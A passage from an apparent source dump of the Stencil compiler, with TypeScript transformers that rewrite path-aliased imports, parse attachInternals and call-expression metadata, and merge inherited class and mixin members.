rewriteAliasedImport(compilerHost, transformCtx, sourceFilePath, node);\n  };\n}\n\n/**\n * This will rewrite the module identifier for a {@link ts.ImportDeclaration}\n * node to turn identifiers which are configured using the `paths` parameter in\n * `tsconfig.json` from whatever name they are bound to a relative path from the\n * importer to the importee.\n *\n * We need to handle this ourselves because while the TypeScript team supports\n * using the `paths` configuration to allow location-independent imports across\n * a project (i.e. importing a module without having to use its relative path\n * from the importing module) the TypeScript compiler has no built-in support\n * for resolving these identifiers to the actual modules they point to in the\n * `.js` and `.d.ts` files that it emits.\n *\n * So, for instance, if you have this set in `paths`:\n *\n * ```json\n * \"paths\": {\n *   \"@utils\": [\"src/utils/index.ts\"\"],\n * }\n * ```\n *\n * Then you'll be able to import it anywhere in your project:\n *\n * ```ts\n * // src/importing.ts\n * import { myUtil } from '@utils';\n * ```\n *\n * but unfortunately, in the compiled output you'll still have:\n *\n * ```js\n * // dist/importing.js\n * import { myUtil } from \"@utils\";\n * ```\n *\n * instead of what you _most likely_ want, which is:\n *\n * ```js\n * // dist/importing.js\n * import { myUtil } from \"./utils\";\n * ```\n *\n * The TypeScript team have stated pretty unequivocally that they will not\n * automatically resolve these identifiers to relative paths in output code\n * {@see https://github.com/microsoft/TypeScript/issues/10866} and have\n * said that resolving these module identifiers is the responsibility of module\n * bundling and build tools.\n *\n * So that means we've got to do it!\n *\n * This function does so by getting the resolved file path to any module which\n * is not 1) not external (i.e. not a dependency) and 2) is not already a\n * relative, file-path based import. It then replaces the module identifier\n * with the relative path from the importer to the importee.\n *\n * @param compilerHost a TS compiler host\n * @param transformCtx a TS transformation context\n * @param sourceFilePath the path to the source file being visited\n * @param node a TypeScript import declaration node\n * @returns a visitor which takes a node and optionally transforms imports\n */\nfunction rewriteAliasedImport(\n  compilerHost: ts.CompilerHost,\n  transformCtx: ts.TransformationContext,\n  sourceFilePath: string,\n  node: ts.ImportDeclaration,\n): ts.ImportDeclaration {\n  // this most likely won't be the case, but we'll leave it to TypeScript to\n  // error in the case that the user does something like `import foo from 3;`\n  if (!ts.isStringLiteral(node.moduleSpecifier)) {\n    return node;\n  }\n\n  let importPath = node.moduleSpecifier.text;\n\n  // We will ignore transforming any paths that are already relative paths or\n  // imports from external modules/packages\n  if (importPath.startsWith('.')) {\n    return node;\n  }\n\n  const module = ts.resolveModuleName(importPath, sourceFilePath, transformCtx.getCompilerOptions(), compilerHost);\n\n  const hasResolvedFileName = module.resolvedModule?.resolvedFileName != null;\n  const isModuleFromNodeModules = module.resolvedModule?.isExternalLibraryImport === true;\n  const shouldTranspileImportPath = hasResolvedFileName && !isModuleFromNodeModules;\n\n  if (!shouldTranspileImportPath) {\n    return node;\n  }\n\n  // Create a regular expression that will be used to remove the last file extension\n  // from the import path\n  const extensionRegex = new RegExp(\n    Object.values(ts.Extension)\n      // The values of `ts.Extension` look like `\".d.ts\"`, `\".ts\"`, etc\n      //\n      // We want to use them to match file extensions at the end of strings,\n      // like `foo.ts`. In order to match on the exact file extension strings we\n      // need to escape periods (`\".\"`) so that they are correctly interpreted as\n      // literal characters instead of as wildcards.\n      .map((extension) => `${extension}$`.replace('.', '\\\\.'))\n      .join('|'),\n  );\n\n  const resolvePathInDestination = module.resolvedModule.resolvedFileName;\n  // get the normalized relative path from the importer to the importee\n  importPath = normalizePath(relative(dirname(sourceFilePath), resolvePathInDestination).replace(extensionRegex, ''));\n\n  return transformCtx.factory.updateImportDeclaration(\n    node,\n    retrieveTsModifiers(node),\n    node.importClause,\n    transformCtx.factory.createStringLiteral(\n      // if the importee is a sibling file of the importer then `relative` will\n      // produce a somewhat confusing result. We use `dirname` to get the\n      // directory of the importer, so for example, assume we have two files\n      // `foo/bar.ts` and `foo/baz.ts` like so:\n      //\n      // ```\n      // foo\n      // ├── bar.ts\n      // └── baz.ts\n      // ```\n      //\n      // then if `baz.ts` imports a symbol from `bar.ts` we'll call\n      // `relative(fromdir, to)` like so:\n      //\n      // ```ts\n      // relative(dirname(\"foo/baz.ts\"), \"foo/bar.ts\")\n      // // equivalently\n      // relative(\"foo\", \"foo/bar.ts\")\n      // ```\n      //\n      // you'd think that in this case `relative` would return `'./bar.ts'` as\n      // a correct relative path to `bar.ts` from the `foo` directory, but\n      // actually in this case it returns just `bar.ts`. So since when updating\n      // import paths we're only concerned with `paths` aliases that should be\n      // transformed to relative imports anyway, we check to see if the new\n      // `importPath` starts with `'.'`, and add `'./'` if it doesn't, since\n      // otherwise Node will interpret `bar` as a module name, not a relative\n      // path.\n      //\n      // Note also that any relative paths as module specifiers which _don't_\n      // need to be transformed (e.g. `'./foo'`) have already been handled\n      // above.\n      importPath.startsWith('.') ? importPath : './' + importPath,\n    ),\n    node.assertClause,\n  );\n}\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/attach-internals.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\n/**\n * Parse the name of the form internals prop from a transformed Stencil\n * component if present\n *\n * @param staticMembers class members for the Stencil component of interest\n * @returns the parsed value, if present, else null\n */\nexport const parseAttachInternals = (staticMembers: ts.ClassElement[]): string | null => {\n  const parsedAttachInternalsMemberName = getStaticValue(staticMembers, 'attachInternalsMemberName');\n  if (parsedAttachInternalsMemberName && typeof parsedAttachInternalsMemberName === 'string') {\n    return parsedAttachInternalsMemberName;\n  } else {\n    return null;\n  }\n};\n\n/**\n * Parse custom states configuration from a transformed Stencil component\n *\n * @param staticMembers class members for the Stencil component of interest\n * @returns array of custom state metadata, or empty array if none defined\n */\nexport const parseAttachInternalsCustomStates = (\n  staticMembers: ts.ClassElement[],\n): d.ComponentCompilerCustomState[] => {\n  const parsedCustomStates = getStaticValue(staticMembers, 'attachInternalsCustomStates');\n  if (Array.isArray(parsedCustomStates)) {\n    return parsedCustomStates.map((state: { name: string; initialValue: boolean; docs?: string }) => ({\n      name: String(state.name),\n      initialValue: Boolean(state.initialValue),\n      docs: state.docs ?? '',\n    }));\n  }\n  return [];\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/call-expression.ts",
    "content": "import { normalizePath } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { H } from '../core-runtime-apis';\nimport { gatherVdomMeta } from './vdom';\n\nexport const parseCallExpression = (\n  m: d.Module | d.ComponentCompilerMeta,\n  node: ts.CallExpression,\n  typeChecker?: ts.TypeChecker,\n) => {\n  if (node.arguments != null && node.arguments.length > 0) {\n    if (ts.isIdentifier(node.expression)) {\n      // h('tag')\n      visitCallExpressionArgs(m, node.expression, node.arguments, typeChecker);\n    } else if (ts.isPropertyAccessExpression(node.expression)) {\n      // document.createElement('tag')\n      const n = node.expression.name;\n      if (ts.isIdentifier(n) && n) {\n        visitCallExpressionArgs(m, n, node.arguments, typeChecker);\n      }\n    }\n  } else if (ts.isPropertyAccessExpression(node.expression)) {\n    if (ts.isIdentifier(node.expression.name)) {\n      // potential function calls that return jsx e.g. `renderContent()`\n      const symbol = typeChecker?.getSymbolAtLocation(node.expression);\n      if (!symbol) return;\n\n      const declarations = symbol.getDeclarations();\n      if (!declarations || declarations.length === 0) return;\n\n      const declaration = declarations[0];\n      const sourceFile = declaration.getSourceFile();\n      if (!sourceFile) return;\n\n      const sourceFilePath = normalizePath(sourceFile.fileName);\n      const moduleFile = m as d.Module;\n      if (moduleFile.functionalComponentDeps) {\n        if (!moduleFile.functionalComponentDeps.includes(sourceFilePath)) {\n          moduleFile.functionalComponentDeps.push(sourceFilePath);\n        }\n      }\n    }\n  }\n};\n\nconst visitCallExpressionArgs = (\n  m: d.Module | d.ComponentCompilerMeta,\n  callExpressionName: ts.Identifier,\n  args: ts.NodeArray<ts.Expression>,\n  typeChecker?: ts.TypeChecker,\n) => {\n  const fnName = callExpressionName.escapedText as string;\n\n  if (fnName === 'h' || fnName === H || fnName === 'createElement') {\n    visitCallExpressionArg(m, args[0], typeChecker);\n\n    if (fnName === 'h' || fnName === H) {\n      gatherVdomMeta(m, args);\n    }\n  } else if (\n    fnName === 'jsx' ||\n    fnName === 'jsxs' ||\n    fnName === 'jsxDEV' ||\n    fnName === '_jsx' ||\n    fnName === '_jsxs' ||\n    fnName === '_jsxDEV'\n  ) {\n    // Handle jsx-runtime calls (jsx, jsxs, jsxDEV)\n    // These have the same signature as h() for metadata purposes\n    visitCallExpressionArg(m, args[0], typeChecker);\n    gatherVdomMeta(m, args);\n    // TypeScript's jsx transform passes key as the 3rd argument\n    if (args.length > 2 && args[2]) {\n      m.hasVdomKey = true;\n    }\n  } else if (args.length > 1 && fnName === 'createElementNS') {\n    visitCallExpressionArg(m, args[1], typeChecker);\n  } else if (fnName === 'require' && args.length > 0 && (m as d.Module).originalImports) {\n    const arg = args[0];\n    if (ts.isStringLiteral(arg)) {\n      if (!(m as d.Module).originalImports.includes(arg.text)) {\n        (m as d.Module).originalImports.push(arg.text);\n      }\n    }\n  }\n};\n\nconst visitCallExpressionArg = (\n  m: d.Module | d.ComponentCompilerMeta,\n  arg: ts.Expression,\n  typeChecker?: ts.TypeChecker,\n) => {\n  if (ts.isStringLiteral(arg)) {\n    let tag = arg.text;\n\n    if (typeof tag === 'string') {\n      tag = tag.toLowerCase();\n      m.htmlTagNames.push(tag);\n\n      if (tag.includes('-')) {\n        m.potentialCmpRefs.push(tag);\n      }\n    }\n  } else if (typeChecker && ts.isIdentifier(arg)) {\n    // Handle functional component references like <MyIcon /> which compiles to h(MyIcon, ...)\n    // Use typeChecker to resolve the identifier to its source file\n    resolveFunctionalComponentDep(m, arg, typeChecker);\n  }\n};\n\n/**\n * Resolves a functional component identifier to its source file and tracks it\n * as a dependency so that build-conditionals can be properly propagated.\n *\n * @param m the module or component metadata to track the dependency on\n * @param identifier the identifier node representing the functional component\n * @param typeChecker the TypeScript type checker for symbol resolution\n */\nconst resolveFunctionalComponentDep = (\n  m: d.Module | d.ComponentCompilerMeta,\n  identifier: ts.Identifier,\n  typeChecker: ts.TypeChecker,\n) => {\n  try {\n    const symbol = typeChecker.getSymbolAtLocation(identifier);\n    if (!symbol) return;\n\n    // Follow aliases (imports) to get the actual symbol\n    const aliasedSymbol = typeChecker.getAliasedSymbol(symbol);\n    const targetSymbol = aliasedSymbol || symbol;\n\n    // Get the declaration to find the source file\n    const declarations = targetSymbol.declarations;\n    if (!declarations || declarations.length === 0) return;\n\n    const declaration = declarations[0];\n    const sourceFile = declaration.getSourceFile();\n    if (!sourceFile) return;\n\n    const sourceFilePath = normalizePath(sourceFile.fileName);\n\n    // Track this as a functional component dependency\n    // We store it on the module (not component) since that's where localImports lives\n    const moduleFile = m as d.Module;\n    if (moduleFile.functionalComponentDeps) {\n      if (!moduleFile.functionalComponentDeps.includes(sourceFilePath)) {\n        moduleFile.functionalComponentDeps.push(sourceFilePath);\n      }\n    }\n  } catch (_e) {\n    // Symbol resolution can fail in some edge cases - silently ignore\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/class-extension.ts",
    "content": "import ts from 'typescript';\nimport { augmentDiagnosticWithNode, buildWarn, normalizePath } from '@utils';\nimport { tsResolveModuleName, tsGetSourceFile } from '../../sys/typescript/typescript-resolve-module';\nimport { isStaticGetter } from '../transform-utils';\nimport { parseStaticEvents } from './events';\nimport { parseStaticListeners } from './listeners';\nimport { parseStaticMethods } from './methods';\nimport { parseStaticProps } from './props';\nimport { parseStaticStates } from './states';\nimport { parseStaticWatchers } from './watchers';\nimport { parseStaticSerializers } from './serializers';\n\nimport type * as d from '../../../declarations';\nimport { detectModernPropDeclarations } from '../detect-modern-prop-decls';\n\ntype DeDupeMember =\n  | d.ComponentCompilerProperty\n  | d.ComponentCompilerState\n  | d.ComponentCompilerMethod\n  | d.ComponentCompilerListener\n  | d.ComponentCompilerEvent\n  | d.ComponentCompilerChangeHandler;\n\ntype DependentClass = {\n  classNode: ts.ClassDeclaration;\n  sourceFile: ts.SourceFile;\n  fileName: string;\n};\n\n/**\n * Given two arrays of static members, return a new array containing only the\n * members from the first array that are not present in the second array.\n * This is used to de-dupe static members that are inherited from a parent class.\n *\n * @param dedupeMembers the array of static members to de-dupe\n * @param staticMembers the array of static members to compare against\n * @returns an array of static members that are not present in the second array\n */\nconst deDupeMembers = <T extends DeDupeMember>(dedupeMembers: T[], staticMembers: T[]) => {\n  return dedupeMembers.filter(\n    (s) =>\n      !staticMembers.some((d) => {\n        if ((d as d.ComponentCompilerChangeHandler).methodName) {\n          return (d as any).methodName === (s as any).methodName;\n        }\n        return (d as any).name === (s as any).name;\n      }),\n  );\n};\n\n/**\n * Helper function to resolve and process an extended class from a module.\n * This handles:\n * 1. Resolving the module path\n * 2. Getting the source file\n * 3. Finding the class declaration\n * 4. Adding to dependent classes tree\n *\n * @param compilerCtx\n * @param buildCtx\n * @param classDeclaration the current class being analyzed\n * @param currentSource the source file of the current class\n * @param moduleSpecifier the module path to resolve\n * @param className the name of the class to find in the resolved module\n * @param dependentClasses the array to add found classes to\n * @param keepLooking whether to continue recursively looking for more extended classes\n * @param typeChecker\n * @param ogModule\n * @returns the found class declaration or undefined\n */\nfunction resolveAndProcessExtendedClass(\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  classDeclaration: ts.ClassDeclaration,\n  currentSource: ts.SourceFile,\n  moduleSpecifier: string,\n  className: string,\n  dependentClasses: DependentClass[],\n  keepLooking: boolean,\n  typeChecker: ts.TypeChecker,\n  ogModule: d.Module,\n): ts.ClassDeclaration | undefined {\n  const foundFile = tsResolveModuleName(buildCtx.config, compilerCtx, moduleSpecifier, currentSource.fileName);\n\n  if (!foundFile?.resolvedModule || !className) {\n    return undefined;\n  }\n\n  // 1) resolve the module name to a file\n  let foundSource: ts.SourceFile = compilerCtx.moduleMap.get(\n    foundFile.resolvedModule.resolvedFileName,\n  )?.staticSourceFile;\n\n  if (!foundSource) {\n    // Stencil only loads full-fledged component modules from node_modules collections,\n    // so if we didn't find the source file in the module map,\n    // let's create a temporary program and get the source file from there\n    foundSource = tsGetSourceFile(buildCtx.config, foundFile);\n\n    if (!foundSource) {\n      // ts could not resolve the module. Likely because `allowJs` is not set to `true`\n      const err = buildWarn(buildCtx.diagnostics);\n      err.messageText = `Unable to resolve import \"${moduleSpecifier}\" from \"${currentSource.fileName}\". \n                    This can happen when trying to resolve .js files and \"allowJs\" is not set to \"true\" in your tsconfig.json.`;\n      if (!buildCtx.config._isTesting) augmentDiagnosticWithNode(err, classDeclaration);\n      return undefined;\n    }\n  }\n\n  // 2) get the exported declaration from the module\n  const matchedStatement = foundSource.statements.find(matchesNamedDeclaration(className));\n  if (!matchedStatement) {\n    // we couldn't find the imported declaration as an exported statement in the module\n    const err = buildWarn(buildCtx.diagnostics);\n    err.messageText = `Unable to find \"${className}\" in the imported module \"${moduleSpecifier}\". \n                  Please import class / mixin-factory declarations directly and not via barrel files.`;\n    if (!buildCtx.config._isTesting) augmentDiagnosticWithNode(err, classDeclaration);\n    return undefined;\n  }\n\n  let foundClassDeclaration = matchedStatement\n    ? ts.isClassDeclaration(matchedStatement)\n      ? matchedStatement\n      : undefined\n    : undefined;\n\n  if (!foundClassDeclaration && matchedStatement) {\n    // the found `extends` type does not resolve to a class declaration;\n    // if it's wrapped in a function - let's try and find it inside\n    foundClassDeclaration = findClassWalk(matchedStatement);\n    keepLooking = false;\n  }\n\n  if (foundClassDeclaration && !dependentClasses.some((dc) => dc.classNode === foundClassDeclaration)) {\n    // 3) if we found the class declaration, push it and check if it itself extends from another class\n    dependentClasses.push({\n      classNode: foundClassDeclaration,\n      sourceFile: foundSource,\n      fileName: foundFile.resolvedModule.resolvedFileName,\n    });\n\n    if (keepLooking) {\n      buildExtendsTree(compilerCtx, foundClassDeclaration, dependentClasses, typeChecker, buildCtx, ogModule);\n    }\n  }\n\n  return foundClassDeclaration;\n}\n\n/**\n * A recursive function that walks the AST to find a class declaration.\n * @param node the current AST node\n * @param depth the current depth in the AST\n * @param name optional name of the class to find\n * @returns the found class declaration or undefined\n */\nfunction findClassWalk(node?: ts.Node, name?: string): ts.ClassDeclaration | undefined {\n  if (!node) return undefined;\n  if (node && ts.isClassDeclaration(node) && (!name || node.name?.text === name)) {\n    return node;\n  } else if (\n    node &&\n    ts.isVariableDeclaration(node) &&\n    // @ts-ignore\n    (!name || name === (node.name?.text || node.name?.escapedText)) &&\n    node.initializer &&\n    ts.isArrowFunction(node.initializer)\n  ) {\n    // handle case where class is wrapped in a mixin factory function\n    let found: ts.ClassDeclaration | undefined;\n    ts.forEachChild(node.initializer.body, (child) => {\n      if (found) return;\n      if (ts.isClassDeclaration(child)) found = child;\n    });\n    return found;\n  }\n  let found: ts.ClassDeclaration | undefined;\n\n  ts.forEachChild(node, (child) => {\n    if (found) return;\n    const result = findClassWalk(child, name);\n    if (result) found = result;\n  });\n\n  return found;\n}\n\n/**\n * A function that checks if a statement matches a named declaration.\n * @param name the name to match\n * @returns a function that checks if a statement is a named declaration\n */\nfunction matchesNamedDeclaration(name: string) {\n  return function (stmt: ts.Statement): stmt is ts.ClassDeclaration | ts.FunctionDeclaration | ts.VariableStatement {\n    // ClassDeclaration: class Foo {}\n    if (ts.isClassDeclaration(stmt) && stmt.name?.text === name) {\n      return true;\n    }\n\n    // FunctionDeclaration: function Foo() {}\n    if (ts.isFunctionDeclaration(stmt) && stmt.name?.text === name) {\n      return true;\n    }\n\n    // VariableStatement: const Foo = ...\n    if (ts.isVariableStatement(stmt)) {\n      for (const decl of stmt.declarationList.declarations) {\n        if (ts.isIdentifier(decl.name) && decl.name.text === name) {\n          return true;\n        }\n      }\n    }\n\n    return false;\n  };\n}\n\n/**\n * Helper function to convert a .d.ts declaration file path to its corresponding\n * .js source file path and get the source file from the compiler context.\n * This is needed because in external projects the extended class may only be found as a .d.ts declaration.\n *  *\n * @param declarationSourceFile the path to the .d.ts declaration file\n * @param compilerCtx the current compiler context\n * @returns the corresponding .js source file\n */\nfunction convertDtsToJs(declarationSourceFile: string, compilerCtx: d.CompilerCtx): ts.SourceFile {\n  const jsPath = normalizePath(declarationSourceFile.replace(/\\.d\\.ts$/, '.js').replace('/types/', '/collection/'));\n  const jsModule = compilerCtx.moduleMap.get(jsPath);\n  return jsModule?.staticSourceFile as ts.SourceFile;\n}\n\n/**\n * A recursive function that builds a tree of classes that extend from each other.\n *\n * @param compilerCtx the current compiler context\n * @param classDeclaration a class declaration to analyze\n * @param dependentClasses a flat array tree of classes that extend from each other\n * @param typeChecker the TypeScript type checker\n * @param buildCtx the current build context\n * @param ogModule the original module file of the class declaration\n * @returns a flat array of classes that extend from each other, including the current class\n */\nfunction buildExtendsTree(\n  compilerCtx: d.CompilerCtx,\n  classDeclaration: ts.ClassDeclaration,\n  dependentClasses: DependentClass[],\n  typeChecker: ts.TypeChecker,\n  buildCtx: d.BuildCtx,\n  ogModule: d.Module,\n) {\n  const hasHeritageClauses = classDeclaration.heritageClauses;\n  if (!hasHeritageClauses?.length) return dependentClasses;\n\n  const extendsClause = hasHeritageClauses.find((clause) => clause.token === ts.SyntaxKind.ExtendsKeyword);\n  if (!extendsClause) return dependentClasses;\n\n  let classIdentifiers: ts.Identifier[] = [];\n  let foundClassDeclaration: ts.ClassDeclaration | undefined;\n  // used when the class we found is wrapped in a mixin factory function -\n  // the extender ctor will be from a dynamic function argument - so we stop recursing\n  let keepLooking = true;\n\n  extendsClause.types.forEach((type) => {\n    if (\n      ts.isExpressionWithTypeArguments(type) &&\n      ts.isCallExpression(type.expression) &&\n      type.expression.expression.getText() === 'Mixin'\n    ) {\n      // handle mixin case: extends Mixin(SomeClassFactoryFunction1, SomeClassFactoryFunction2)\n      classIdentifiers = type.expression.arguments.filter(ts.isIdentifier);\n    } else if (ts.isIdentifier(type.expression)) {\n      // handle simple case: extends SomeClass\n      classIdentifiers = [type.expression];\n    }\n  });\n\n  classIdentifiers.forEach((extendee) => {\n    try {\n      // happy path (normally 1 file level removed): the extends type resolves to a class declaration in another file\n\n      const symbol = typeChecker?.getSymbolAtLocation(extendee);\n      const aliasedSymbol = symbol ? typeChecker.getAliasedSymbol(symbol) : undefined;\n\n      let source = aliasedSymbol?.declarations?.[0].getSourceFile();\n      let declarations: ts.Declaration[] | ts.Statement[] = aliasedSymbol?.declarations;\n\n      if (source.fileName.endsWith('.d.ts')) {\n        source = convertDtsToJs(source.fileName, compilerCtx);\n        declarations = [...source.statements];\n      }\n\n      foundClassDeclaration = declarations?.find(ts.isClassDeclaration);\n\n      if (!foundClassDeclaration) {\n        // the found `extends` type does not resolve to a class declaration;\n        // if it's wrapped in a function - let's try and find it inside\n        const node = declarations?.[0];\n        foundClassDeclaration = findClassWalk(node);\n        if (!node) {\n          throw 'revert to sad path';\n        }\n        keepLooking = false;\n      }\n\n      if (foundClassDeclaration && !dependentClasses.some((dc) => dc.classNode === foundClassDeclaration)) {\n        const foundModule = compilerCtx.moduleMap.get(foundClassDeclaration.getSourceFile().fileName);\n\n        if (foundModule) {\n          const source = foundModule.staticSourceFile as ts.SourceFile;\n          const sourceClass = findClassWalk(source, foundClassDeclaration.name?.getText());\n\n          if (sourceClass) {\n            dependentClasses.push({ classNode: sourceClass, sourceFile: source, fileName: source.fileName });\n            if (keepLooking) {\n              buildExtendsTree(compilerCtx, foundClassDeclaration, dependentClasses, typeChecker, buildCtx, ogModule);\n            }\n          }\n        }\n      }\n    } catch (_e) {\n      // sad path (>1 levels removed or node_modules): the extends type does not resolve so let's find it manually:\n\n      let currentSource: ts.SourceFile = classDeclaration.getSourceFile();\n      let matchedStatement: ts.ClassDeclaration | ts.FunctionDeclaration | ts.VariableStatement;\n\n      if (!currentSource) {\n        // fallback for jest tests where getSourceFile() is undefined - use the original classNode's source file\n        currentSource = ogModule?.staticSourceFile;\n        matchedStatement = findClassWalk(currentSource, extendee.getText());\n      } else {\n        matchedStatement = currentSource.statements.find(matchesNamedDeclaration(extendee.getText()));\n      }\n\n      if (!currentSource) {\n        // no source file :(\n        const err = buildWarn(buildCtx.diagnostics);\n        err.messageText = `Unable to find source file for class \"${classDeclaration.name?.getText()}\"`;\n        if (!buildCtx.config._isTesting) augmentDiagnosticWithNode(err, classDeclaration);\n        return;\n      }\n\n      // try to see if we can find the class in the current source file first\n      if (matchedStatement && ts.isClassDeclaration(matchedStatement)) {\n        foundClassDeclaration = matchedStatement;\n      } else if (matchedStatement) {\n        // the found `extends` type does not resolve to a class declaration;\n        // if it's wrapped in a function - let's try and find it inside\n        foundClassDeclaration = findClassWalk(matchedStatement);\n        keepLooking = false;\n      }\n\n      if (foundClassDeclaration && !dependentClasses.some((dc) => dc.classNode === foundClassDeclaration)) {\n        // we found the class declaration in the current module\n        dependentClasses.push({\n          classNode: foundClassDeclaration,\n          sourceFile: currentSource,\n          fileName: currentSource.fileName,\n        });\n        if (keepLooking) {\n          buildExtendsTree(compilerCtx, foundClassDeclaration, dependentClasses, typeChecker, buildCtx, ogModule);\n        }\n        return;\n      }\n\n      // if not found, let's check the import statements\n      const importStatements = currentSource.statements.filter(ts.isImportDeclaration);\n      importStatements.forEach((statement) => {\n        // 1) loop through import declarations in the current source file\n        if (statement.importClause?.namedBindings && ts.isNamedImports(statement.importClause?.namedBindings)) {\n          statement.importClause?.namedBindings.elements.forEach((element) => {\n            // 2) loop through the named bindings of the import declaration\n\n            if (element.name.getText() === extendee.getText()) {\n              // 3) check the name matches the `extends` type expression\n              const className = element.propertyName?.getText() || element.name.getText();\n              const moduleSpecifier = statement.moduleSpecifier.getText().replaceAll(/['\"]/g, '');\n\n              resolveAndProcessExtendedClass(\n                compilerCtx,\n                buildCtx,\n                classDeclaration,\n                currentSource,\n                moduleSpecifier,\n                className,\n                dependentClasses,\n                keepLooking,\n                typeChecker,\n                ogModule,\n              );\n            }\n          });\n        }\n      });\n\n      if (!importStatements.length) {\n        // we're in a cjs module (probably in a Jest test) - loop through require modules statements\n        const requireStatements = currentSource.statements.filter(ts.isVariableStatement);\n        requireStatements.forEach((statement) => {\n          statement.declarationList.declarations.forEach((declaration) => {\n            if (\n              declaration.initializer &&\n              ts.isCallExpression(declaration.initializer) &&\n              ts.isIdentifier(declaration.initializer.expression) &&\n              declaration.initializer.expression.escapedText === 'require' &&\n              declaration.initializer.arguments.length === 1 &&\n              ts.isStringLiteral(declaration.initializer.arguments[0])\n            ) {\n              const moduleSpecifier = declaration.initializer.arguments[0].text.replaceAll(/['\"]/g, '');\n              const className = extendee.getText();\n\n              resolveAndProcessExtendedClass(\n                compilerCtx,\n                buildCtx,\n                classDeclaration,\n                currentSource,\n                moduleSpecifier,\n                className,\n                dependentClasses,\n                keepLooking,\n                typeChecker,\n                ogModule,\n              );\n            }\n          });\n        });\n      }\n    }\n  });\n\n  return dependentClasses;\n}\n\n/**\n * Given a class declaration, this function will analyze its heritage clauses\n * to find any extended classes, and then parse the static members of those\n * extended classes to merge them into the current class's metadata.\n *\n * @param compilerCtx\n * @param typeChecker\n * @param buildCtx\n * @param cmpNode the extending class declaration\n * @param staticMembers the static members of the extending class to merge with the extended class members\n * @param moduleFile the module file of the extending class\n * @returns an object containing merged metadata from extended classes\n */\nexport function mergeExtendedClassMeta(\n  compilerCtx: d.CompilerCtx,\n  typeChecker: ts.TypeChecker,\n  buildCtx: d.BuildCtx,\n  cmpNode: ts.ClassDeclaration,\n  staticMembers: ts.ClassElement[],\n  moduleFile: d.Module,\n) {\n  const tree = buildExtendsTree(compilerCtx, cmpNode, [], typeChecker, buildCtx, moduleFile);\n  let hasMixin = false;\n  let doesExtend = false;\n  let properties = parseStaticProps(staticMembers);\n  let states = parseStaticStates(staticMembers);\n  let methods = parseStaticMethods(staticMembers);\n  let listeners = parseStaticListeners(staticMembers);\n  let events = parseStaticEvents(staticMembers);\n  let watchers = parseStaticWatchers(staticMembers);\n  let classMethods = cmpNode.members.filter(ts.isMethodDeclaration);\n  let serializers = parseStaticSerializers(staticMembers, 'serializers');\n  let deserializers = parseStaticSerializers(staticMembers, 'deserializers');\n\n  tree.forEach((extendedClass) => {\n    const extendedStaticMembers = extendedClass.classNode.members.filter(isStaticGetter);\n    const mixinProps = parseStaticProps(extendedStaticMembers) ?? [];\n    const mixinStates = parseStaticStates(extendedStaticMembers) ?? [];\n    const mixinMethods = parseStaticMethods(extendedStaticMembers) ?? [];\n    const mixinEvents = parseStaticEvents(extendedStaticMembers) ?? [];\n    const isMixin =\n      mixinProps.length > 0 || mixinStates.length > 0 || mixinMethods.length > 0 || mixinEvents.length > 0;\n    const module = compilerCtx.moduleMap.get(extendedClass.fileName);\n    if (!module) return;\n\n    module.isMixin = isMixin;\n    module.isExtended = true;\n    doesExtend = true;\n\n    if (\n      (mixinProps.length > 0 || mixinStates.length > 0) &&\n      !detectModernPropDeclarations(extendedClass.classNode, extendedClass.sourceFile)\n    ) {\n      const err = buildWarn(buildCtx.diagnostics);\n      const target = buildCtx.config.tsCompilerOptions?.target;\n      err.messageText = `Component classes can only extend from other Stencil decorated base classes when targetting more modern JavaScript (ES2022 and above).\n      ${target ? `Your current TypeScript configuration is set to target \\`${ts.ScriptTarget[target]}\\`.` : ''} Please amend your tsconfig.json.`;\n      if (!buildCtx.config._isTesting) augmentDiagnosticWithNode(err, extendedClass.classNode);\n    }\n\n    properties = [...deDupeMembers(mixinProps, properties), ...properties];\n    states = [...deDupeMembers(mixinStates, states), ...states];\n    methods = [...deDupeMembers(mixinMethods, methods), ...methods];\n    events = [...deDupeMembers(mixinEvents, events), ...events];\n    listeners = [...deDupeMembers(parseStaticListeners(extendedStaticMembers) ?? [], listeners), ...listeners];\n    watchers = [...deDupeMembers(parseStaticWatchers(extendedStaticMembers) ?? [], watchers), ...watchers];\n    serializers = [\n      ...deDupeMembers(parseStaticSerializers(extendedStaticMembers, 'serializers') ?? [], serializers),\n      ...serializers,\n    ];\n    deserializers = [\n      ...deDupeMembers(parseStaticSerializers(extendedStaticMembers, 'deserializers') ?? [], deserializers),\n      ...deserializers,\n    ];\n    classMethods = [...classMethods, ...(extendedClass.classNode.members.filter(ts.isMethodDeclaration) ?? [])];\n\n    if (isMixin) hasMixin = true;\n  });\n\n  return {\n    hasMixin,\n    doesExtend,\n    properties,\n    states,\n    methods,\n    listeners,\n    events,\n    watchers,\n    classMethods,\n    serializers,\n    deserializers,\n  };\n}\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/class-methods.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { isMethod } from '../transform-utils';\n\nexport const parseClassMethods = (classMethods: ts.MethodDeclaration[], cmpMeta: d.ComponentCompilerMeta) => {\n  if (!classMethods?.length) {\n    return;\n  }\n\n  const hasHostData = classMethods.some((m) => isMethod(m, 'hostData'));\n\n  cmpMeta.hasAttributeChangedCallbackFn = classMethods.some((m) => isMethod(m, 'attributeChangedCallback'));\n  cmpMeta.hasConnectedCallbackFn = classMethods.some((m) => isMethod(m, 'connectedCallback'));\n  cmpMeta.hasDisconnectedCallbackFn = classMethods.some((m) => isMethod(m, 'disconnectedCallback'));\n  cmpMeta.hasComponentWillLoadFn = classMethods.some((m) => isMethod(m, 'componentWillLoad'));\n  cmpMeta.hasComponentWillUpdateFn = classMethods.some((m) => isMethod(m, 'componentWillUpdate'));\n  cmpMeta.hasComponentWillRenderFn = classMethods.some((m) => isMethod(m, 'componentWillRender'));\n  cmpMeta.hasComponentDidRenderFn = classMethods.some((m) => isMethod(m, 'componentDidRender'));\n  cmpMeta.hasComponentDidLoadFn = classMethods.some((m) => isMethod(m, 'componentDidLoad'));\n  cmpMeta.hasComponentShouldUpdateFn = classMethods.some((m) => isMethod(m, 'componentShouldUpdate'));\n  cmpMeta.hasComponentDidUpdateFn = classMethods.some((m) => isMethod(m, 'componentDidUpdate'));\n  